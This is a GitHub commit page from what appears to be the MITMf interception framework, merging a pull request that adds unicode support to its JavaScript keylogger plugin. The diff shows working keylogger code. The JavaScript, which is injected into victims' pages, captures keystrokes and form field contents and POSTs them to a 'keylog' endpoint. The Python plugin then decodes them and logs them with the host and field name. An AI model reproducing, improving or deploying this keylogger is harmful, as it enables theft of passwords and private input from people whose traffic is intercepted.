Skip to content
This repository has been archived by the owner on Aug 28, 2018. It is now read-only.

Commit

Permalink
Merge pull request #169 from HAMIDx9/master
Browse files Browse the repository at this point in the history
Add unicode support for jskeylogger plugin, fixes #56
  • Loading branch information
byt3bl33d3r committed Aug 24, 2015
2 parents 05588fe + 752fafa commit 28fc081
Show file tree
Hide file tree
Showing 2 changed files with 7 additions and 7 deletions.
8 changes: 4 additions & 4 deletions core/javascript/msfkeylogger.js
Original file line number Diff line number Diff line change
Expand Up @@ -64,7 +64,7 @@ function function2(e)

if (var3 != "d" && var3 != 8 && var3 != 9 && var3 != 13)
{
andxhr(var3.toString(16), srcname);
andxhr(encodeURIComponent(var3), srcname);
}
}

Expand All @@ -85,15 +85,15 @@ function function1(e)
var3 = (e) ? e.keyCode : e.which;
if (var3 == 9 || var3 == 8 || var3 == 13)
{
andxhr(var3.toString(16), srcname);
andxhr(encodeURIComponent(var3), srcname);
}
else if (var3 == 0)
{

text = document.getElementById(id).value;
if (text.length != 0)
{
andxhr(text.toString(16), srcname);
andxhr(encodeURIComponent(text), srcname);
}
}

Expand All @@ -107,7 +107,7 @@ function andxhr(key, inputName)
}
var2= var2 + key + ",";
xhr.open("POST", "keylog", true);
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded; charset=utf-8");
xhr.send(var2 + '&&' + inputName);

if (key == 13 || var2.length > 3000)
Expand Down
6 changes: 3 additions & 3 deletions plugins/jskeylogger.py
Original file line number Diff line number Diff line change
Expand Up @@ -52,11 +52,11 @@ def request(self, request):
nice = ''
else:
try:
nice += n.decode('hex')
nice += unichr(int(n))
except:
self.clientlog.error("Error decoding char: {}".format(n), extra=request.clientInfo)

self.clientlog.info("Host: {} | Field: {} | Keys: {}".format(request.headers['host'], input_field, nice), extra=request.clientInfo)
self.clientlog.info(u"Host: {} | Field: {} | Keys: {}".format(request.headers['host'], input_field, nice), extra=request.clientInfo)

def options(self, options):
pass
pass

0 comments on commit 28fc081

Please sign in to comment.